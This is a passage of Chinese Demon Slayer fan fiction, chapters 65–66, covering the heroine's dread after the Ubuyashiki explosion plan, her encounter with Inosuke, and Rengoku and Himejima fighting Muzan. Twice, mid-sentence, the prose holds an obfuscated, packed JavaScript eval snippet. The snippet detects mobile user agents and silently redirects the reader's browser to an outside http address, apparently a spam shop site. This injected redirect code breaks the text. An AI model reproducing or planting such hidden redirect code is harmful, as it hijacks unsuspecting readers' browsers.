快到黄昏逢魔之时,太阳最后只在天与地相接处散出几道光线,原本浅蓝的天穹快要染上夜色,随时准备着危险地压下来。我大脑中疯狂回旋着所见的这一切,意识正要飘出身体,甚至忘了自己是如何镇定自若——假装镇定自若,微笑着向面露担忧的槙寿郎伯父表示无碍——地回到我的卧室。顾不上一切,只有栽倒在被子上的那一刻,我才恍然意识到自己的身体正在颤抖。 这是怎么回事? 周围静得我不能思考。 这究竟是怎么回事! 辉利哉是……辉利哉是主公的儿子,是鬼杀队未来的…… 我将手捏紧成拳头,指尖的冰凉让身体的颤抖无法停止。辉利哉怎么会是!如果辉利哉是鬼杀队未来的主公,是主公大人的继任者,那么…… 那么主公呢? 为什么跟随我们一起离开的只有辉利哉、彼方和杭奈? 天音夫人呢? 雏衣和日香呢? 那么多的炸药,要送到产屋敷的当屋…… 心跳在这个瞬间停止,我猛地坐起。但坐着仍然感受到呼吸不畅,只能痛苦地站起,在镜子里看到自己惨白如纸的脸色,失魂落魄,唯独一对碧绿的眼睛存有生气。 我猛地推开门跑出去,想要找到杏寿郎,告诉他、询问他。 但那天夜里,炼狱杏寿郎并没有回来。 65. 罪愆 第二天杏寿郎依然没有回来。 昨夜等待杏寿郎到了夜半,而在槙寿郎伯父带来三个孩子安顿下来后,千寿郎敏感地察觉到气氛的不对劲,他担忧夜深人静,赶路恐有危险,便将特意为我留宿准备的客房重新整理了一番,让我尽早洗漱住下。然而我始终难以安眠,惴惴不安的心扑腾在一片寥落的风中,颠倒起伏的思绪吹奏着寂静的气息,我似乎沉睡,浸泡在温热的水面,随着浪的波澜浮动,但不安定的感受无时无刻不在遏制着我。我无法思考,本能正不由恐慌,总担忧着有什么潜伏在目不能及处会把我拽下水面。 漆黑的深晦凝视着我。 辉利哉他们来叫我时天已经大亮了,三个人整齐地正坐在我的被褥前,神色小心翼翼地看着我。太阳刚刚探出云层,此时的阳光并无温度,甚至也不晃眼,我的神思尚未清醒,就连说些什么来缓解气氛也变得艰涩,而千寿郎领着我的父亲与母亲进来。 母亲小跑着扑过来抱住我,手轻轻拍打我的后背,像幼时每一次我受到惊吓后那样安慰着没事的。 我茫然地看着母亲很久,时间流逝并没有为我的忧虑带来解释,我忽然意识到有什么还没能领悟的严峻事件已经发生。而余光之中,叫醒我时将手轻轻搭在我手背的辉利哉现在穿着的是男性的和服,他的面容看起来与主公大人是多么的相似。 我脑袋里似乎是忽然炸响一道惊雷。昨夜那些荒谬到戏剧都难以演绎的细节便在我窒息的沉默中清晰地展露身影,一切的流转变得自然而然,用不着思考,所有真相的支流就自发地汇聚在一起汹涌地将我的灵魂打湿。 “主公大人他……” 我听见自己说出这几个字时声音颤抖着,喉口一阵难遏的干渴。 但话没说完,母亲就更用力地抱紧了我:“朝和,这是为了最终的胜利。” 为什么……可是为什么偏偏要牺牲主公大人? 父亲将房门彻底推开了,不知何时阳光变得浓烈,它们顺着屋檐的角度顺从地滑下,倾斜进屋内,我被亮光刺得无法立刻睁开眼,但又忍不住睁开眼去看那光明的世界。“主公大人是一个伟大的人,朝和,千万别辜负他的决定。”父亲说着,向屋外走出一步,“出来看看这太阳吧,亲爱的。” 庭院里槙寿郎伯父神情严肃地走来,在向我们点头致意后同父亲一起离开。 母亲看出我的困惑,轻声为我解答:“槙寿郎先生现在代理炎柱之责,主公大人对他有一些特别派遣的任务。”她动作温柔地用指尖勾过我的鬓发梳理到脑后,“我和你父亲担心你,亲爱的。顺便将之前你准备下的那些物资送来,请槙寿郎先生分发下去装备起来。” 有些安排是隐秘的,不能为大众所知。我先前为鬼杀队准备了许多外伤特效药与便携式紫外线射灯,也请蝶屋的孩子帮我粗略登记了鬼杀队内会使用手枪的队员,考虑要为他们配备专属的子弹。但这种武装到每一个人的行为总看起来大动干戈,如果没有一个合适的时机不免惹得人心惶惶。所以之前就决定在柱合训练结束后作为结束的证明发放下去,但这两天遇到太多事,我险些忘了这安排,多亏父亲和母亲前来帮忙。 所需要运送的物资量大得不可思议,这是我反复斟酌、衡量后最终确定下的清单。单单是外伤药的配齐就用去药物研发部门大半个月的时间,而剩下的时间全部用来制作来世,我为每一位柱和柱的继子都配上了来世以防备重伤的情况。但这当然不够,常规的止血药、消炎药、退烧药在考虑了每个人的份额后进行了对外采购,我着实想了些合适的理由来打消外界对这番行径的激进推测。母亲为此特意去拜访了亲王妃,请她代为向宫内厅传达用意以避免造成不必要的恐慌。 剑技是我无法帮助提升的,但在黑夜中面对鬼时,我们依然可以借助外力。紫外线才是鬼真正的天敌,借用兰德家族在欧洲的实力,我在先前就订购了一大批便携式紫外线射灯。在和厂商进行了洽谈之后,射灯的电池选用了最优质耐用的款式,点亮光线的方法也非常便捷,虽然在射程上有一定限制,但只要它存在,就拥有威慑力。这是人人都要配备的必需品。 特制子弹也全部封装完毕。得益于主公大人的炸药订单,武器研发部门获得了不得了的灵感,在考虑实用性后试做了一批小型手雷进行试验,效果相当不错。他们减小了手雷的尺寸,让它更便于携带,但这毕竟是个危险品,制作的数量并不算多。在为我送来一份后,最终决定只专门配备给训练成绩良好的成员。 父亲和槙寿郎伯父商谈后,安排好所有物资的配送,保证在今夜黄昏前能为所有人配备上,一切都已经准备就绪。 但似乎…… 我的内心如同一只永远也装不满的水瓶,不知道水漏进何处的忧虑里,那种总觉得还有许多事要做的感受是如此清晰,紧紧地缠绕着我,几乎让我窒息。这种苦楚影响我的知觉与判断,甚至可能让我做出错误的决定。我便焦虑地一再反复思考:这样便够了么? 不够……不够……不够…… 有个声音漠然地重复着,踩在我心跳的每一步,压抑着我的呼吸,而我手脚冰凉地看着时间的流逝,就像要走进一个绝望的未来,身体都要颤抖起来。每每到了这样关键的时刻,这种想法就会油然升起:倘若我们失败了——当然!没有人想要失败!——可是!万一……万一上帝为我们选择的偏偏是那个最糟糕的噩梦,那我们该怎么办?鬼杀队毫无疑问是灭亡路上的殉道者,他们前仆后继地奔向死亡,看着朋友一个一个消失,届时我要如何?而痛失血亲的父母亲友们又该如何!这个世界呢?难道要所有的人类沦落在鬼的爪牙之下,成为黑夜的牲畜? 不!惊惧便再不能容忍我坐下去,要我站起来思考,去做些什么、再做些什么! 但我还能做什么呢? 我努力收拾着情绪,将一切扩散至全身的不安收敛在心中。如今的局面已经到了危急时刻,正摇摇欲坠地踩在悬崖边缘,留给我的时间已经不多了!我思考着计划部署的每个方面,哪怕角角落落,每一寸都留下我筹备的痕迹,但我却好像还是没能做足万全的准备,仍有着未知的纰漏蛰伏着等待露出利齿。即使知道自己必须再做些什么来保证一切的顺利,头绪仍然如同打结的线团,只能看着那深渊惊恐不已。越想做些什么,困顿的感受就越是紧促地捆绑着我,让我烦躁不堪。 我尝试拨打了蝶屋的电话,尽全力让自己的声音听起来毫无问题,轻松的询问忍柱合训练结束后鬼杀队的安排。 忍结束了某种我不知道的药物的研究,她的精神松懈下来,声音里还带着点细微的雀跃。 下一步是暂时休息。 并无异常。所以有几位柱们并不知道主公大人的安排…… 挂了电话后我不停踱步,只要一停下胡乱的猜测就会席卷而来。珠世小姐不在蝶屋,忍说她带着一种针对鬼王研究的药剂昨夜就去到了主公那里。 算算时间,该是我们离开之后。 我张望着这间屋子、这间属于炼狱杏寿郎的卧室,我总能在任何一个位置看到曾经生活在其中的杏寿郎的身影。或坐或立,笑着看着我,无形地包围我。明明每次只要见到他就会感到安心,现在见不到真人,幻影就让我坐立不安起来。空气中传递着冰冷的气息,呼进鼻腔时冻伤了肺叶,明明是初夏,我却打起寒战。从壁橱中翻出他居家时常穿的那件羽织紧紧披在身上,呼吸被熏染衣物的芥子花香所包围后,我才慢慢缓过神来。 但屋内炼狱杏寿郎的存在空乏到让我难过,我疲惫地躺在游廊下太阳照射到的位置,将羽织盖过脑袋。 “嘎——” “嘎——” 寂静的午后,打破一切的是熟悉的鎹鸦声。 鎹鸦粗一看长得一模一样,而鬼杀队内也仅有几位柱会为自己的鎹鸦戴上装饰。杏寿郎并非其中一员,他的要看着并无奇特之处,但非常通人性,也很了解杏寿郎。相处得久了,我也可以不听声音、只用眼睛观察,在不同的鎹鸦中一眼认出要。 鎹鸦只会为自己的主人带来消息,也只听从主人的指令。我下意识抬眼看去,但动作间险些没能爬起来,竟然肢体不协调地翻倒摔下游廊,跌进满是盛开樱草的草甸。这种失误对我而言简直是太过少见,而那些芬芳的紫色花朵并不介意、紧贴着我的身躯,传来一阵馥郁。 要紧张地飞近了些,落在我身边的草地上跳动。 我伸手过去,没有立刻坐起身,它轻盈地落到我的指上,足趾并不用力地抓握着。 “安好、勿念!安好、勿念!”它复述杏寿郎的嘱托,简单地说明自己现在有任务在身,又让我不必担心。 “他什么时候回来?”我问道。 怎么可能不担心?一切的迹象都在表明局势的紧张,即使此刻是白天,也如同黑夜——黎明前最后的黑夜,我不可能装聋作哑假装自己一无所知。 “究竟怎么了?是不是主公出了什么事?要,他还有没有和你说别的?”我焦急地连声询问,要嘎嘎叫了两声,从我指上跳起,盘旋在我头顶并未离去,我立刻意识到它正呼唤我跟上。 心底猛地迸发出一阵动力,我立即翻身坐起,跑到房间内更换了衣物。订婚后我留宿炼狱宅的频率略有上升,但大多时候是因为陪同杏寿郎进行炎柱训练时做后勤到了深更半夜,且为了训练准备,我在炼狱宅留下的衣物大多是款式简单、布料耐磨、便于行动的衣裤。重新穿戴完毕,将长发利落地梳成马尾,我穿了一件外套,将需要的所有药物与武器都随身收纳在携带的小包或衣裳口袋里。手枪保养过了,日轮刀也没有问题,我看见镜子里神情严肃的自己,确认自己可以进入战斗状态,才跟着鎹鸦离开炼狱宅。 而离开前,不知出于什么心态,我又将一盒分装的特制手雷塞进了包里。 长辈们有长辈们要处理的事,而我亦有我的路要走。 我跟着要来到了鬼杀队的总部。或许是那些紫藤的花海构建成迷乱的阵法,让人在其中失去了方向,行走时难以分辨身前身后的路径。 要仍在往前飞,但我已经完全不解这番行动的用意,只是紧紧跟上。 路过蝶屋,护理人员们正在打扫庭院,将洁白的床品拧干水分后晾上竹架,看到我时她们热切地向我打招呼,叫我进去休息、尝尝新鲜出炉的点心。我摆摆手拒绝,只询问了忍正在做什么。神崎葵没有思考、脱口而出:“虫柱大人正在和香奈乎说话呢。”我点点头,摆着手离开。 途经一座溪谷,木制小屋的烟囱里升起一阵炊烟,那是天元大人的居所。我不能赌知晓秘密的名单,也不认为自己能在音柱大人洞若观火的观察中毫无破绽,只远远地眺望一眼后便离开了。 再往前是蓊蓊葱葱的深林。这片山林古老而隐秘,树木茂盛地生长,林中满是野生动物。要在空中巡视,为我甄别方向与安危。但我在寂静中嗅到一丝烧灼后硫黄的气味,那味道无法忽略,而我恰好知道形成的原因。闻着气味走去,略微偏离了要的路线,但果然在树林中看到了不死川玄弥倔强的脸。他正检查着自己的手枪,面前的靶子上,只有正中心一个被击穿的破口。应该是我在订婚之后第一次见到他,之前他在杏寿郎那里进行训练时我因有事没有前去,事后才知道他并不会呼吸法,却还是努力地通过了训练。过了不久又听说炭治郎为了他和风柱大人打了一架。我无意窥探他和风柱大人这对兄弟究竟有着怎样的故事,只是提醒道今天有栖川家会送新的物资上来,里面有子弹供给,倘若需要可以快些赶去。 我们走了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613463|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很久,穿行在山间。我并没有见过每一个柱的训练场所,也是到如今才发现柱合训练时有几位大人的训练场就构建在鬼杀队所在的山中。隔着很远就能听见如雷鸣般的轰隆声,铺天盖地地砸着地面,激荡出无法掩盖的躁鸣。走近后,才看见那是一道硕大的瀑布,浪潮飞落、砸成雪白的流银,冲刷着河岸中的岩石层。多么壮观的景色,只是让人不明所以为何岸边有几个巨大的圆形石球,远处的土地上还有犁过地一般土壤翻起的痕迹。 这又是哪个柱大人的训练内容? 要嘎嘎叫了两声,又在我头顶盘旋起来,“前方、前方!炭治郎!”粗犷的声音传达了最后的目的地,我循着指引看去,林盖掩映间的确露出一角木制的屋顶。按照要的说法,炭治郎应该就在前面的屋子里吧? 虽然不知杏寿郎让我来寻找炭治郎的原因,但我还是跟着往前去。 而要结束盘旋,振翅飞向了另一个方向。那应该就是杏寿郎现在所在的方向。 有要在时还浑然未觉,如今只剩下我自己,消失已久的疲惫感终于勇敢地露头,它呼唤着我的四肢,让我体会到一阵疲惫。不知不觉已经在山里走出很远了,等我回过神才发现夜色逐渐覆盖四周…… 枝叶梭罗的声音久久作响,沙沙声笼罩我的双耳,构成底噪般吵闹的声音让我的听力因此变得不再灵敏,而剩下的直觉也被夜色欺骗。即使还在鬼杀队的山中,且我一直沿着平铺的道路行走,树林之中露出身影的建筑已经愈发近了,但不知为何…… 风声中似乎有什么异常。 跟随杏寿郎训练过的身体也在耳濡目染中获得了炎柱野兽般的本能,我右手立时搭住悬挂在腰间的日轮刀刀柄,随时准备着抽出刀来,而左手则下意识伸向被外套遮盖住的上着膛的枪。 危险有时无声、有时无色,但总有一个破绽,绝没有完美的东西。尤其来自于鬼的危险,更是具有丑恶的本质,从未改变。 今日的破绽便是一股恶臭。不知是我的疲惫扰乱了感官的缘故,还是夜风确实助力了它靠近的诡秘,在我第一次嗅到那股味道,至再一次呼吸时,它已经闪电般迅速地到达我近前,快得让人做不出任何反应。 我只来得及抽出枪。 但除我之外还有更快的感知。证明是一阵锋利的破风声,银白的冰冷刀光在挥动的一瞬间划破黑夜,眨眼的瞬间就失去了捕捉到它的可能性。 我看见了无声无息出现在面前的人。 不是别人,是伊之助! 他不知方才正在做什么,一手抱着自己的猪头,一手则握着刀,刀尖指向我。 我只来得及看见银白的刃上滴落了一滴血迹,那滴鲜红落到地面,立即随着风化为尘埃。 “这是什么?” 被日轮刀砍中后会化为飞灰的只可能是鬼!又或者是鬼的一部分? 一想到刚才有什么属于鬼的东西一直跟在我背后,那种毛骨悚然的感觉就紧紧攀着我的脊背无法散去。但鬼……寻常鬼的肢体脱离身体后即使不会丧失活性,也不可能离开身体那么久,而伤口痊愈、断肢重生后,先前的那部分就失去了存在的作用。可刚刚那个东西却一直跟在我的背后,这里可是鬼杀队的总部!常年不败的紫藤花在山脚环绕成一圈隔离带,按理来说鬼根本不可能有靠近这里的可能。更别提深入其中。 这到底是怎么回事? 震惊的情绪铺开,我看向伊之助,他正检查自己的刀尖,嘴里奇怪地嘟哝着什么。 伊之助有时是真正的野兽,全凭本能横冲直撞,至少我能确定在一定范围内没有真正的鬼存在,不然他不能这么冷静地站在我的面前。正想劝自己放宽心,伊之助停下检查的动作,眼神不善地绕着我转起圈来。 “伊之助?” 他毫无预兆地拍了拍我的肩膀,即使做了心理准备也还是被他吓了一跳,我茫然地看向他。 “刚刚那是一个眼睛。”他不太明白。 我也不太明白:“眼睛?” “跟着你。”伊之助沉思了会儿,但他的沉思总让人意想不到,这次也不例外。少年忽然双手叉腰哈哈大笑起来,“哼哼,没事的!刚刚也有一个跟着我,被我砍死了!区区鬼眼睛!” 夜色更深了,月亮悬挂着,将如水的月光洒落。这是初夏的季节,蚊虫跟着升高的气温一起重回人间,不知为何,今夜的风却莫名送来一阵冷意。 我打了个寒战。 伊之助在边上好奇地看着我,他是个天真的孩子,无须什么语言的交流,只要献上一些好吃的就能俘获他的信任。他左右张望了下,但这儿除了我和他别的什么也没有。意识到这一点,他终于犹豫了会儿,不知想了什么,最终把他最宝贝的猪头递给我。 “咦?”我想推拒,拿了这个没什么用处。 伊之助却没说话,只动作强硬地把猪头塞进我怀里,接着就地坐下。 他小心翼翼地从裤兜里掏出一个油纸包,打开的动作难得一见的轻柔——躺在油纸中间的那是一个炸得火候正好、呈现出诱人的金黄色的天妇罗,一看就很好吃——伊之助的动作顿了顿,天人交战般犹豫地看向我。我从他碧绿的眼睛里看出了直白的不舍,笑着抱紧那个毛茸茸的猪头头套,对他摇摇头。 这下伊之助才心满意足,他高高举起天妇罗,正要大快朵颐。 鸦雀无声的夜里,并无人烟的野外,一声三味线的拨弦无端响起,像一出戏的开场。 时间如同被暂停,听见此声的我们无法做出任何动作。 只眼睁睁看着我们脚下的土地突然诡异地开出一个窗口,日式的推门移开,我和伊之助瞬间下坠,逆着透骨的冷风,掉进一片暖黄的灯光中…… 这究竟是怎么回事?!!!! 66. 坠入 一片寂静。 远处的地平线逐渐被随着时间滑下的深晦掩盖,覆过浓艳的橙黄,将晕染着万物的晚霞淹没进亟待好戏开台的黑幕。闪烁的几点星恰似厚重的帷幕上真丝反射过的光源,也像极了虫子,在刹那间繁衍过度,遍布可见的全部寰宇,张着嘴,吞吃光明,将夜色映衬得愈发黑了。 好像很快就到了不掌灯就看不清路途的时间,但在那之前,又有一段黑影之下尚存未熄灭光明的时刻。 炼狱杏寿郎抬起头,看着鎹鸦从远处飞来,身形由远及近,轮廓逐渐清晰。它扑扇着翅膀,冲过最后那点霞色,如同一支利箭,毫无停留地飞向炼狱杏寿郎。 鎹鸦轻巧地停在他的面前,爪尖收起,利喙便张开,为他带来的消息揉碎了满世界的寂静。 又把他心头的无声压得那么清晰。 得知有栖川朝和已经被鎹鸦引领到鬼杀队的山中后,他才微微露出一丝笑意。 “和猪头少年会和!和猪头少年会和!” “猪头少年么?”炼狱杏寿郎沉吟着。这将会是一个非常危险的夜晚,危险的存在若是有等级划分,在他看来,大约可以分为在他身边很安全与他会竭力保证安全两种,但这一次,说来惭愧,即便是炼狱杏寿郎也不能保证一定会为她送去安全。他已经做好竭尽全力、牺牲一切的准备,只是在他的身旁、抑或是在他的身后,那磅礴的、与笼罩的夜色一般的危险仍然无处不在。 他原本想要干预她的存在,至少不让她直面那些危险——她只是一个普通人,炼狱杏寿郎从来没有如此清晰地意识到——但他知道,他所爱的人、有栖川朝和,绝非在面对危险时望而却步的人。至少让他为她带去尽可能多的安慰感,他派遣鎹鸦为她带去消息,用那双漆黑的眼睛替他再看看她的容颜。 外面很危险,但至少鬼杀队内会安全些,他本想让朝和到胡蝶那里去,但或许和猪头少年待一块儿也不错。 放飞鎹鸦,炼狱杏寿郎最后看了眼藏在流云后的朦胧月色。 鬼的存在不知何时已经蔓延进鬼杀队的内部。 并非以常见的个体的形式出现,而是以更隐秘、刁钻的样子埋伏。它们借由肉眼总是忽略的阴暗角落迅速扩张,编织成围猎的网向着鬼杀队收束。最终成功跳入鬼杀队的地界,暗自准备着掀起血色的惊涛骇浪。 主公对于鬼杀队附近出现鬼的迹象并不意外,甚至在他意料之中。 那些肮脏的气息相当迅速地覆盖了鬼杀队的存在,甚至逃脱了紫藤花海的包围,与鬼杀队成员的巡逻,恐怕连柱也少有发觉。 炼狱杏寿郎在结束柱合训练后、准备离开家的那一刻发觉到跟随在自己身后的腥臭,肉眼难辨的一道闪光,血肉被刀尖破开的噗呲声显得那么清晰,那些粘连在雪白眼球之上形如触肢的筋络在消散前用力抽搐了下,显出令人作呕的活态。炼狱杏寿郎面无表情地来到产屋敷宅邸、主公的身旁。 这个状况并非在早前就出现,至少在他订婚前后,炼狱杏寿郎还没有在鬼杀队的周围感受到鬼的存在。订婚前的拜访他只在和主公那段单独的谈话中敏感地察觉到主公病弱的身体中不再掩饰的那股破釜沉舟的勇气。他同他说了许久的话,久到仿佛要在这一次把所有的话都说完,而最后,他只温柔地说了对他和朝和未来的祝福。或许主公无法见证到他们的婚礼,这个念头一产生,炼狱杏寿郎警觉地观察起鬼杀队的变化。 开始的时候并没有什么。 但朝和很快为他带来了爆炸性的消息——的确是爆炸性。主公大人委托有栖川家的工厂生产炸药一事没有任何一位柱被告知,得知消息的他第一反应是安抚朝和的情绪。他的恋人善良而多思,他不忍心看她在噩梦中醒来,朝和确实因为他的话变得平静,甚至开朗地想象或许主公是搜索到了鬼舞辻无惨的藏身之处,想要用炸药把他炸个粉碎。 炼狱杏寿郎听见自己身体里传出噼啪作响的燃烧声。 那时柱合训练的事宜还未结束,鬼杀队内的气氛堪称如火如荼,虽然大多柱都选择将训练的地点放在自宅,但也有柱选择在鬼杀队附近的山林中训练,能够合格挥刀的剑士有上百名,他们每日巡逻各处、从无懈怠,更遑论强大的柱。但炼狱杏寿郎却还是捕捉到鬼杀队附近产生的一丝诡异,先前有鬼出现过,他沿着气息搜寻了会儿,没有踪迹,只好默默记下这件事。 他去拜见了主公。 宽敞的和屋推门大开,阳光肆意落进屋内,这座历经数百年风雨的古屋历久弥新,在此刻更是焕发出全新的生机。就犹如主公大人。 短短几日不见,他的身体却被病痛侵蚀得愈发厉害了。 而那时,悲鸣屿行冥也如此刻一般沉默地正坐在他身边。 身形壮硕如小山般魁梧的盲眼僧侣静静默念着佛偈。 今日的他不曾流下一滴泪水,只是全身心的平静,静得就如同一块会呼吸的岩石。在呼吸法的修行上,每一位柱的成长都不仅仅是凭借天赋,而更多是对于剑道的磨砺,悲鸣屿行冥大约是他们所有人锤炼自己最极限的人,先前试炼对战中,炼狱杏寿郎隐隐察觉他的斗气几乎已经完全内化,而自己的举动在他的感知中分外清晰。或许正是脱离了双眼的干扰,只留下对于战意的感受,悲鸣屿行冥脑海中的世界无比通透,让他略有所思。 那一日,追问主公的场景也就浮上心头。 “无惨会在五天内过来。” 主公没再隐瞒,将自己的筹谋全盘托出:“用我当诱饵,砍断无惨的脖子吧。” 炼狱杏寿郎只疑心自己听错了。主公对于鬼杀队的每一个人而言都是指路明灯一般的存在,对于柱们更是亦师亦父,这样的计划炼狱杏寿郎绝不认同。 产屋敷家生来有着这样的魔力,他们可以感知人类的内心,也能对未来将要发生的事产生预见,不需要理由,而只是直觉,但无往而不利,在主公身上,甚至从未出现错误。 鬼舞辻无惨的踪迹无处调查,但钓鱼的智慧永远不在于挖掘鱼的巢穴,而是等待着鱼主动上钩。而在这个世界上,还无法克服日光的鬼永远有着另一个心病——鬼杀队。所以即使永远找不到鬼舞辻无惨的老巢也没有关系,因为产屋敷耀哉决定制造出一个为他量身打造的饵饲。那就是他的踪迹。 千年来领导着鬼杀队对鬼进行全方面剿灭的产屋敷继承人,即使不是最符合鬼胃口的一道菜肴,也绝对是他最不愿错过的一次机会。 而为让这个机会顺利登台,产屋敷耀哉准备的是埋藏在宅邸之下混杂了紫藤花粉末与特制铁蒺藜的数百斤炸药! 主公的心意已决。 那会是他向这个世界最后的谢幕,但退场的礼物他要带上鬼舞辻无惨。 为了这个计划,他需要至少有一位柱藏在他身边准备埋伏鬼舞辻无惨。 平心而论,不说实力最强的悲鸣屿行冥,能够稳定斗气、开启斑纹的炼狱杏寿郎无论从实力还是心性方面也同样是最佳选择。有两位柱同时从旁协助,成功的概率自然大大提升,但炼狱杏寿郎日前才订婚,无论从什么角度,产屋敷耀哉都不希望自己破坏这份希望与美好。如果不是炼狱杏寿郎自己得知了此事,那么出现在这里的只会有悲鸣屿行冥一人。 炼狱杏寿郎回忆着之前的对战,试着在呼吸间将蓬勃的斗气内收,脑海中回忆过父亲、母亲、千寿郎、主公,转移过道场和练坏的一柄柄木刀、鬼杀队的成员,又跳跃成月色下依恋的朝和、与猗窝座的那次战斗。脱离视觉,脑海中感官构建出第二种视野,无需双眼,只有感知,世界的铺开变得一清二楚。但他很难控制这种感受,只是被动地看着,直到他终于瞧见,这片天地间飘然落下的第一朵雪花。 那朵雪花很快被消融。 接着展开的是满眼的赤红! 鎹鸦尖厉的呼号淹没在那山崩地裂般的爆炸之中。产屋敷宅在顷刻间被摧毁,昔年的瓦砾墙壁已不再,断壁残垣间只有不断升腾的热气裹挟着烟雾蓬勃炸开,如同一个顽固的灵魂正用力冲着天空嘶吼。炼狱杏寿郎在那瞬间分不清那究竟是鬼杀队不灭的坚韧意志,还是鬼那顽强的挣扎。 但不需要思考。内心的震荡被压制,悲痛的感情被剥离,身体只留下战斗的本能。他和悲鸣屿行冥同时拿起自己的武器冲向爆炸未消的产屋敷宅之中,纵然深陷在那仍然滚烫的余温中依然全力调转着呼吸法,死力砍向遗址正中那被禁锢在原地、不知何时就会恢复的残损人形! “悲鸣屿先生!炼狱先生!交给你们了!”女人声嘶力竭的叫声为他们的出现做了遮掩,原来堂堂鬼王鬼舞辻无惨并不十全十美,他的弊病是如此清晰,在剧痛和惊怒控制不住自己的情绪而失去了对于外界的全部判断。 漫天火炎之中,他们苦苦寻觅无数时间的鬼究竟有着何等样貌并不能看清晰,在那久未照射过阳光的苍白皮肤上火炎灼烧的伤痕正随着飞烟的升起而消失。从地面蓬勃刺出的荆棘将他无法动弹地控束着。但即使如此,他仍然有着余力用尖锐的指甲划破珠世的头颅。 何等傲慢而残忍的生物。 周遭的火正烈烈燃烧,风卷着火星将毁灭变得更加汹涌,在火中,死亡的气味也如此明显。悲鸣屿行冥怒吼着六字真言,在焰光中恰如怒目金刚,他大步冲来,踩在地面上的每一步都沉重有力,狠狠地将飞速挥动的流星锤砸向鬼舞辻无惨那颗珍贵的头颅。 而相反的方向,炼狱杏寿郎抽出刀刃,战意燎烧,将心海沸腾。他横过刀刃,银白的刀尖划过冷漠的月色,燃起赤金如瞳的炎,由上至下,在被砸损的血肉之中决绝地劈开这具他们渴望已久的鬼王身躯。 鬼的血竟然也是红色,也温热,也是铁锈味,也会四溅。 武器没有收起,身体摆出的架势更不曾收敛,肢体的改变只是为了应对下一次攻击。无论是谁都没觉得这样就能轻易结束鬼舞辻无惨的生命——这条在阴暗中蛰伏着苟延残喘千年的生命。内化的斗气配合着呼吸法急速运转,呼吸加剧,心跳更是如擂鼓般震响,在火场之中,炼狱杏寿郎隐隐觉得自己也成了一簇火源,正跳动在他的心口亟待一场盛大的燃烧。那是斑纹开启的现象。 而在这末日般的景象之下,挑动他们神经的是正在迅速发生的更骇人的一幕。如同主公所料,被砸去头颅、劈开身体的鬼舞辻无惨并不会像普通的鬼那样被终结。只是眨眼间,裂成两片的□□柔韧地弹起、粘合。在头颅被毁去的断口,贯通人体的血管兀自生长,瞬间诞育了新的大脑;紧接着是骨骼,血肉也重新构筑,生长的肉线鲜活如虫形蠕动,包裹了白骨;皮肤、头发、指甲,依次递生,比虫豸的繁衍还要超脱常理的生成理论迅速地将那具躯体变回完美无缺的样子。 如果忽略他仍被荆棘的血鬼术定死在原地,那双鲜红、野兽般的瞳仁中所传达的愤怒与惊惧俨然如蛇一般覆压过来。 他身体的修复速度果然非寻常鬼所能比拟,他远胜于他们此前见过的任何一个鬼,简直不在一个层级。只有阳光可以真正杀死他。 绝对不能辜负主公献祭自己才带来的这场爆炸!哪怕要将战斗拖延成持久战!在太阳升起之前,必须用尽一切办法将他控制在原地。 但摧毁激生的情绪不仅影响了两位柱,同样滋生在鬼舞辻无惨身上。他始终不能摆脱属于人类的劣根性,任由咆哮的情感支配着力量,他向着悲鸣屿行冥的方向伸出手,自由的那只手上青紫的筋脉刹那间漆黑如墨,它们生长、蔓延、从他指尖喷薄出无数的墨红色棘刺,在瞬间就汹涌地游向悲鸣屿行冥。 而炼狱杏寿郎就在这时再一次疾步冲向他,刀刃上燃烧的火焰不曾熄灭,仿佛自周遭火焰的毁灭中燃起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613464|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,爆炸的火是没有理智、残暴的火,空气中仍然浸没着的硝烟味则深入他们的意识。那火给予了他们力量。这一次不再是试探,炼狱杏寿郎高高跃起,从半空中凝望这玩弄着人间的鬼,挥刀砍向他的头颅。杀意无法掩藏,也不需掩藏,从那双猛然回头却骤缩的非人眼瞳中,那片赤色的海无理地翻腾,炼狱杏寿郎看见自己漠然的神情,与鬼舞辻无惨那颗胆小畏死的心。 他几乎是身体本能地、无须思考地急忙调转了那些棘刺攻击的方向。这一次黑血的棘刺是从他全身生长而出,它们似是藤蔓、又生有荆棘,来源于他的血肉,将他包裹进自以为安全的领域中,却又拥有独立的思想,尽情舞动,交织成攻击的洪流野兽般猛地扑向炼狱杏寿郎。 刀刃旋转,火焰升腾,他将棘刺砍碎,却不能更进一步。 几道熟悉的气息依次靠近。 其他的几位柱们出现在火光之外。鎹鸦的传讯在爆炸开始的那一刻开启,得知消息的他们一路疾驰,却始终在主公的计算内慢了一步。夹杂在失去与绝望之中的心脏还未平复下来,汗水与不可置信交融的悲痛神情亦来不及改变,就因为看见正中心这战场的险峻形势而震惊。 “是无惨!”悲鸣屿行冥怒吼道,“他就是鬼舞辻无惨!” 他就是鬼舞辻无惨,一切的罪魁祸首,他们寻找至今的真凶! 这句话正是反攻的号角。 所有的感官被四下熊熊燃烧的烈火融化为愤怒流淌在每一个柱的心底,随着心脏的搏动蔓延至全身任何角落。他们还能想起从前的日子,因为鬼而失去一切的日子、被主公接纳引领的日子,一幕幕故去的光景仿佛就发生在方才,而主公微笑的模样就在眼前,他们共同看向面前的鬼。无需指挥,常年来战斗的本能已经促使他们拔刀出鞘。 